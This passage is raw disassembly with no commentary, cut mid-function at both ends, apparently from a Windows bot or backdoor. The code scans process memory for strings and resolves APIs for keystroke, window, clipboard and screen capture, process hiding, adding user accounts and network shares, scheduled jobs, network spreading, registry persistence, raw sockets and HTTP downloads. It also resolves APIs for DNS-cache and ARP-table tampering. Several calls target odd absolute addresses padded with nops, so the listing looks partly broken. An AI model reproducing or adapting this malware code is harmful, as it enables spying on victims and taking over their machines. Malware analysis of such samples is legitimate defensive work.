= dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 2720470h cmp eax, esi mov [ebp+var_4], eax jnz short loc_4093BB xor eax, eax jmp loc_409536 ; --------------------------------------------------------------------------- loc_4093BB: ; CODE XREF: sub_409392+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax call near ptr 2720000h nop push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_4240EC push 8 call esi mov edi, dword_4240E8 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_4240F4 push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_40940B xor esi, esi jmp loc_409529 ; --------------------------------------------------------------------------- loc_40940B: ; CODE XREF: sub_409392+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] call near ptr 2710B1Dh nop test eax, eax jz loc_409518 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_409518 test [ebp+var_2B], 1 jnz loc_409518 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_409518 loc_40946E: ; CODE XREF: sub_409392+112j push edi push offset dword_439A38 call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409496 lea eax, [edi+200h] push eax push offset dword_43A238 call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_4094A6 loc_409496: ; CODE XREF: sub_409392+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_409518 jmp short loc_40946E ; --------------------------------------------------------------------------- loc_4094A6: ; CODE XREF: sub_409392+102j test edi, edi jz short loc_409518 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax call near ptr 26A070Dh nop test eax, eax jz short loc_4094E1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax nop call near ptr 26A0000h test eax, eax jz short loc_4094E1 mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_4094E1: ; CODE XREF: sub_409392+12Bj ; sub_409392+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_43AC5C, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_43AC54, eax mov dword_43AC58, edi loc_409518: ; CODE XREF: sub_409392+90j ; sub_409392+A2j ... push [ebp+arg_0] push 0 call esi push eax call near ptr 2700000h nop mov esi, [ebp+var_10] loc_409529: ; CODE XREF: sub_409392+74j push [ebp+var_4] call near ptr 26318FCh nop pop edi mov eax, esi pop ebx loc_409536: ; CODE XREF: sub_409392+24j pop esi leave retn sub_409392 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409539 proc near ; CODE XREF: sub_409037:loc_40912Fp var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 2720470h nop test eax, eax mov [ebp+arg_0], eax jz loc_40962B mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 2720000h mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_409622 mov edi, dword_4240EC loc_409584: ; CODE XREF: sub_409539+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] call near ptr 2710B1Dh nop test eax, eax jz short loc_409610 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_409616 test [ebp+var_13], 1 jnz short loc_409616 push ecx push 8 call edi push eax nop call near ptr 2710000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 2710DA3h test eax, eax jz short loc_409602 push offset dword_439A38 push esi call sub_422A52 pop ecx test eax, eax pop ecx jnz short loc_409602 lea eax, [esi+400h] push offset dword_43A238 push eax call sub_422A52 pop ecx test eax, eax pop ecx jz short loc_409632 loc_409602: ; CODE XREF: sub_409539+9Fj ; sub_409539+B0j push esi push 0 call edi push eax nop call near ptr 2700000h jmp short loc_409616 ; --------------------------------------------------------------------------- loc_409610: ; CODE XREF: sub_409539+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_409616: ; CODE XREF: sub_409539+71j ; sub_409539+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_409584 loc_409622: ; CODE XREF: sub_409539+3Fj push [ebp+arg_0] nop call near ptr 26318FCh loc_40962B: ; CODE XREF: sub_409539+1Ej xor eax, eax loc_40962D: ; CODE XREF: sub_409539+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409632: ; CODE XREF: sub_409539+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_43AC54, ebx mov dword_43AC58, eax cmp [eax], cl jnz short loc_409654 cmp [eax+1], cl jz short loc_40965C loc_409654: ; CODE XREF: sub_409539+114j ; sub_409539+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_409654 loc_40965C: ; CODE XREF: sub_409539+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 26318FCh push 1 pop eax jmp short loc_40962D sub_409539 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40966F proc near ; CODE XREF: sub_409037+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_43AC50 push esi mov esi, dword_4240EC push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 2710000h mov ecx, dword_43AC50 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_43AC58 push eax call sub_417390 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_43AC5C push eax call dword_43AA3C push [ebp+var_4] mov edi, offset dword_43AA48 push offset dword_439A38 push offset dword_43A238 push [ebp+arg_0] push offset unk_42CDC0 push 200h push edi call sub_41782A add esp, 1Ch push [ebp+var_4] push 0 call esi push eax nop call near ptr 2700000h mov eax, edi pop edi pop esi leave retn sub_40966F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409706 proc near ; CODE XREF: sub_409037:loc_409173p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_43AC50 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 2710A69h push eax nop call near ptr 2710000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_43A238 mov edi, 200h mov esi, offset dword_439838 loc_40974C: ; CODE XREF: sub_409706+FAj mov eax, dword_43AC50 add eax, eax push eax push dword_43AC58 push [ebp+var_14] call sub_417390 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_43AA3C mov eax, dword_43AC50 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4097C1 loc_409789: ; CODE XREF: sub_409706+B3j cmp [ebp+var_8], 0 jz short loc_4097DE mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4097AD cmp byte ptr [ecx+1], 0 jnz short loc_4097AD cmp dl, 20h jnb short loc_4097A7 and [ebp+var_8], 0 loc_4097A7: ; CODE XREF: sub_409706+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4097B1 loc_4097AD: ; CODE XREF: sub_409706+90j ; sub_409706+96j and [ebp+var_8], 0 loc_4097B1: ; CODE XREF: sub_409706+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_409789 cmp [ebp+var_8], 0 jz short loc_4097DE loc_4097C1: ; CODE XREF: sub_409706+81j push [ebp+var_14] push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CDC0 push edi push esi call sub_41782A add esp, 1Ch jmp short loc_4097F6 ; --------------------------------------------------------------------------- loc_4097DE: ; CODE XREF: sub_409706+87j ; sub_409706+B9j push offset dword_439A38 push ebx push [ebp+arg_0] push offset unk_42CE2C push edi push esi call sub_41782A add esp, 18h loc_4097F6: ; CODE XREF: sub_409706+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_40974C push [ebp+var_14] push 0 nop call near ptr 2710A69h push eax nop call near ptr 2700000h mov eax, esi pop edi pop esi pop ebx leave retn sub_409706 endp ; =============== S U B R O U T I N E ======================================= sub_40981F proc near ; CODE XREF: ___:0040E6F1p push ebx push ebp mov ebp, dword_424100 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4240DC mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_40993F push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43AE44, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_43ADB8, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_43AD9C, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_43ACB8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43AC64, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43AC94, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43AD08, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_43ADF8, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43AE54, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43ACC4, eax call esi cmp dword_43AE44, ebx mov dword_43ACAC, eax jz short loc_40991D cmp dword_43ADB8, ebx jz short loc_40991D cmp dword_43AD9C, ebx jz short loc_40991D cmp dword_43ACB8, ebx jz short loc_40991D cmp dword_43AC94, ebx jz short loc_40991D cmp dword_43AD08, ebx jz short loc_40991D cmp dword_43ADF8, ebx jz short loc_40991D cmp dword_43AE54, ebx jz short loc_40991D cmp dword_43ACC4, ebx jz short loc_40991D cmp eax, ebx jnz short loc_409927 loc_40991D: ; CODE XREF: sub_40981F+B8j ; sub_40981F+C0j ... mov dword_43AE58, 1 loc_409927: ; CODE XREF: sub_40981F+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_43ADD0, eax jz short loc_409954 push 1 push ebx call eax jmp short loc_409954 ; --------------------------------------------------------------------------- loc_40993F: ; CODE XREF: sub_40981F+1Dj call near ptr 2650C0Ah nop mov dword_43AE5C, eax mov dword_43AE58, 1 loc_409954: ; CODE XREF: sub_40981F+117j ; sub_40981F+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26F06E4h mov edi, eax cmp edi, ebx jz loc_409A69 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_43ADF4, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_43ADA4, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43AD38, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43AE48, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43AD68, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43AD88, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43ADEC, eax call esi cmp dword_43ADF4, ebx mov dword_43ACE0, eax jz short loc_409A0D cmp dword_43ADA4, ebx jz short loc_409A0D cmp dword_43AD38, ebx jz short loc_409A0D cmp dword_43AE48, ebx jz short loc_409A0D cmp dword_43AD68, ebx jz short loc_409A0D cmp dword_43AD88, ebx jz short loc_409A0D cmp dword_43ADEC, ebx jz short loc_409A0D cmp eax, ebx jnz short loc_409A17 loc_409A0D: ; CODE XREF: sub_40981F+1B8j ; sub_40981F+1C0j ... mov dword_43AE60, 1 loc_409A17: ; CODE XREF: sub_40981F+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_43AD64, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43AC78, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43AD34, eax call esi cmp dword_43AD64, ebx mov dword_43AD20, eax jz short loc_409A74 cmp dword_43AC78, ebx jz short loc_409A74 cmp dword_43AD34, ebx jz short loc_409A74 cmp eax, ebx jnz short loc_409A7E jmp short loc_409A74 ; --------------------------------------------------------------------------- loc_409A69: ; CODE XREF: sub_40981F+144j call near ptr 2650C0Ah nop mov dword_43AE64, eax loc_409A74: ; CODE XREF: sub_40981F+232j ; sub_40981F+23Aj ... mov dword_43AE60, 1 loc_409A7E: ; CODE XREF: sub_40981F+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409C19 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43AE08, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43AD4C, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43ADBC, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43ACA4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43AD04, eax call esi cmp dword_43AE08, ebx mov dword_43AD74, eax jz short loc_409B09 cmp dword_43AD4C, ebx jz short loc_409B09 cmp dword_43ADBC, ebx jz short loc_409B09 cmp dword_43ACA4, ebx jz short loc_409B09 cmp dword_43AD04, ebx jz short loc_409B09 cmp eax, ebx jnz short loc_409B13 loc_409B09: ; CODE XREF: sub_40981F+2C4j ; sub_40981F+2CCj ... mov dword_43AE68, 1 loc_409B13: ; CODE XREF: sub_40981F+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_43AD7C, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_43AD54, eax call esi cmp dword_43AD7C, ebx mov dword_43AE04, eax jz short loc_409B4E cmp dword_43AD54, ebx jz short loc_409B4E cmp eax, ebx jnz short loc_409B58 loc_409B4E: ; CODE XREF: sub_40981F+321j ; sub_40981F+329j mov dword_43AE68, 1 loc_409B58: ; CODE XREF: sub_40981F+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_43AD8C, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_43AC80, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_43AC88, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_43ACE8, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_43ACEC, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_43AC9C, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_43AD58, eax call esi cmp dword_43AD8C, ebx mov dword_43AC8C, eax jz short loc_409BFC cmp dword_43AC80, ebx jz short loc_409BFC cmp dword_43AC88, ebx jz short loc_409BFC cmp dword_43ACE8, ebx jz short loc_409BFC cmp dword_43ACEC, ebx jz short loc_409BFC cmp dword_43AC9C, ebx jz short loc_409BFC cmp dword_43AD58, ebx jz short loc_409BFC cmp eax, ebx jnz short loc_409C06 loc_409BFC: ; CODE XREF: sub_40981F+3A7j ; sub_40981F+3AFj ... mov dword_43AE68, 1 loc_409C06: ; CODE XREF: sub_40981F+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_43AC84, eax jnz short loc_409C2E jmp short loc_409C24 ; --------------------------------------------------------------------------- loc_409C19: ; CODE XREF: sub_40981F+26Aj nop call near ptr 2650C0Ah mov dword_43AE6C, eax loc_409C24: ; CODE XREF: sub_40981F+3F8j mov dword_43AE68, 1 loc_409C2E: ; CODE XREF: sub_40981F+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409CFA push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_43AD84, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_43ADDC, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_43ADE4, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_43ADA0, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_43ACC8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_43AC74, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_43ADE0, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_43AC60, eax call esi cmp dword_43AD84, ebx mov dword_43ACFC, eax jz short loc_409D05 cmp dword_43ADDC, ebx jz short loc_409D05 cmp dword_43ADE4, ebx jz short loc_409D05 cmp dword_43ADA0, ebx jz short loc_409D05 cmp dword_43ACC8, ebx jz short loc_409D05 cmp dword_43AC74, ebx jz short loc_409D05 cmp dword_43ADE0, ebx jz short loc_409D05 cmp dword_43AC60, ebx jz short loc_409D05 cmp eax, ebx jnz short loc_409D0F jmp short loc_409D05 ; --------------------------------------------------------------------------- loc_409CFA: ; CODE XREF: sub_40981F+41Aj nop call near ptr 2650C0Ah mov dword_43AE74, eax loc_409D05: ; CODE XREF: sub_40981F+49Bj ; sub_40981F+4A3j ... mov dword_43AE70, 1 loc_409D0F: ; CODE XREF: sub_40981F+4D7j mov ebp, dword_4240E0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409FCB push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_43AD10, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_43AE3C, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_43ACB4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_43AC90, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_43AD44, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_43AD2C, eax call esi push offset aSocket ; "socket" push edi mov dword_43ACF8, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_43AE18, eax call esi push offset aConnect ; "connect" push edi mov dword_43AE34, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_43AD40, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_43AE24, eax call esi push offset aHtons ; "htons" push edi mov dword_43ADD8, eax call esi push offset aHtonl ; "htonl" push edi mov dword_43AD98, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_43AD94, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_43ACD4, eax call esi push offset aSend ; "send" push edi mov dword_43ACCC, eax call esi push offset aSendto ; "sendto" push edi mov dword_43ADE8, eax call esi push offset aRecv ; "recv" push edi mov dword_43ADFC, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_43ADB0, eax call esi mov dword_43AD70, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_43ADC4, eax call esi push offset aListen ; "listen" push edi mov dword_43AD80, eax call esi push offset aAccept ; "accept" push edi mov dword_43ADC0, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_43AE2C, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_43AD78, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_43AD3C, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_43ADAC, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_43AE1C, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_43AD50, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_43ACF4, eax call esi cmp dword_43AD10, ebx mov dword_43AE30, eax jz loc_409FD6 cmp dword_43AE3C, ebx jz loc_409FD6 cmp dword_43ACB4, ebx jz loc_409FD6 cmp dword_43AD44, ebx jz loc_409FD6 cmp dword_43AD2C, ebx jz loc_409FD6 cmp dword_43ACF8, ebx jz loc_409FD6 cmp dword_43AE18, ebx jz loc_409FD6 cmp dword_43AE34, ebx jz loc_409FD6 cmp dword_43AD40, ebx jz loc_409FD6 cmp dword_43AE24, ebx jz loc_409FD6 cmp dword_43ADD8, ebx jz loc_409FD6 cmp dword_43AD98, ebx jz loc_409FD6 cmp dword_43AD94, ebx jz loc_409FD6 cmp dword_43ACD4, ebx jz short loc_409FD6 cmp dword_43ADE8, ebx jz short loc_409FD6 cmp dword_43ADFC, ebx jz short loc_409FD6 cmp dword_43ADB0, ebx jz short loc_409FD6 cmp dword_43AD70, ebx jz short loc_409FD6 cmp dword_43ADC4, ebx jz short loc_409FD6 cmp dword_43AD80, ebx jz short loc_409FD6 cmp dword_43ADC0, ebx jz short loc_409FD6 cmp dword_43AE2C, ebx jz short loc_409FD6 cmp dword_43AD78, ebx jz short loc_409FD6 cmp dword_43AD3C, ebx jz short loc_409FD6 cmp dword_43ADAC, ebx jz short loc_409FD6 cmp dword_43AE1C, ebx jz short loc_409FD6 cmp dword_43AD50, ebx jz short loc_409FD6 cmp eax, ebx jnz short loc_409FE0 jmp short loc_409FD6 ; --------------------------------------------------------------------------- loc_409FCB: ; CODE XREF: sub_40981F+501j nop call near ptr 2650C0Ah mov dword_43AE7C, eax loc_409FD6: ; CODE XREF: sub_40981F+6A0j ; sub_40981F+6ACj ... mov dword_43AE78, 1 loc_409FE0: ; CODE XREF: sub_40981F+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0E5 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_43ACDC, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_43AC68, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_43AD60, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_43AD14, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_43AD6C, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_43AD30, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_43ACA8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_43ACA0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_43ACB0, eax call esi cmp dword_43ACDC, ebx mov ecx, dword_43AD30 mov dword_43ADCC, eax jz short loc_40A0C1 cmp dword_43AC68, ebx jz short loc_40A0C1 cmp dword_43AD60, ebx jz short loc_40A0C1 cmp dword_43AD14, ebx jz short loc_40A0C1 cmp dword_43AD6C, ebx jz short loc_40A0C1 cmp ecx, ebx jz short loc_40A0C1 cmp dword_43ACA8, ebx jz short loc_40A0C1 cmp dword_43ACA0, ebx jz short loc_40A0C1 cmp dword_43ACB0, ebx jz short loc_40A0C1 cmp eax, ebx jnz short loc_40A0CB loc_40A0C1: ; CODE XREF: sub_40981F+860j ; sub_40981F+868j ... mov dword_43AE80, 1 loc_40A0CB: ; CODE XREF: sub_40981F+8A0j cmp ecx, ebx jz short loc_40A100 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_43AD48, eax jnz short loc_40A100 jmp short loc_40A0FA ; --------------------------------------------------------------------------- loc_40A0E5: ; CODE XREF: sub_40981F+7CCj call near ptr 2650C0Ah nop mov dword_43AE84, eax mov dword_43AE80, 1 loc_40A0FA: ; CODE XREF: sub_40981F+8C4j mov dword_43AD48, ebx loc_40A100: ; CODE XREF: sub_40981F+8AEj ; sub_40981F+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A14A push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_43AD24, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_43AE50, eax call esi cmp dword_43AD24, ebx mov dword_43ACBC, eax jz short loc_40A155 cmp dword_43AE50, ebx jz short loc_40A155 cmp eax, ebx jnz short loc_40A15F jmp short loc_40A155 ; --------------------------------------------------------------------------- loc_40A14A: ; CODE XREF: sub_40981F+8ECj nop call near ptr 2650C0Ah mov dword_43AE8C, eax loc_40A155: ; CODE XREF: sub_40981F+91Bj ; sub_40981F+923j ... mov dword_43AE88, 1 loc_40A15F: ; CODE XREF: sub_40981F+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A255 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_43AC98, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_43AC70, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_43ACE4, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_43AD18, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_43AE28, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_43ACD0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_43AC7C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_43AC6C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_43AD00, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_43ADF0, eax call esi cmp dword_43AC98, ebx mov dword_43ADA8, eax jz short loc_40A260 cmp dword_43AC70, ebx jz short loc_40A260 cmp dword_43ACE4, ebx jz short loc_40A260 cmp dword_43AD18, ebx jz short loc_40A260 cmp dword_43AE28, ebx jz short loc_40A260 cmp dword_43ACD0, ebx jz short loc_40A260 cmp dword_43AC7C, ebx jz short loc_40A260 cmp dword_43AC6C, ebx jz short loc_40A260 cmp dword_43AD00, ebx jz short loc_40A260 cmp dword_43ADF0, ebx jz short loc_40A260 cmp eax, ebx jnz short loc_40A26A jmp short loc_40A260 ; --------------------------------------------------------------------------- loc_40A255: ; CODE XREF: sub_40981F+94Bj nop call near ptr 2650C0Ah mov dword_43AE94, eax loc_40A260: ; CODE XREF: sub_40981F+9E6j ; sub_40981F+9EEj ... mov dword_43AE90, 1 loc_40A26A: ; CODE XREF: sub_40981F+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A29F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_43ACC0, eax call esi cmp dword_43ACC0, ebx mov dword_43AD90, eax jz short loc_40A2AA cmp eax, ebx jnz short loc_40A2B4 jmp short loc_40A2AA ; --------------------------------------------------------------------------- loc_40A29F: ; CODE XREF: sub_40981F+A56j nop call near ptr 2650C0Ah mov dword_43AE9C, eax loc_40A2AA: ; CODE XREF: sub_40981F+A78j ; sub_40981F+A7Ej mov dword_43AE98, 1 loc_40A2B4: ; CODE XREF: sub_40981F+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A2E9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_43AE14, eax call esi cmp dword_43AE14, ebx mov dword_43AE10, eax jz short loc_40A2F4 cmp eax, ebx jnz short loc_40A2FE jmp short loc_40A2F4 ; --------------------------------------------------------------------------- loc_40A2E9: ; CODE XREF: sub_40981F+AA0j call near ptr 2650C0Ah nop mov dword_43AEA4, eax loc_40A2F4: ; CODE XREF: sub_40981F+AC2j ; sub_40981F+AC8j mov dword_43AEA0, 1 loc_40A2FE: ; CODE XREF: sub_40981F+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A35D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_43AE40, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_43AE38, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_43AE00, eax call esi cmp dword_43AE40, ebx mov dword_43ACD8, eax jz short loc_40A368 cmp dword_43AE38, ebx jz short loc_40A368 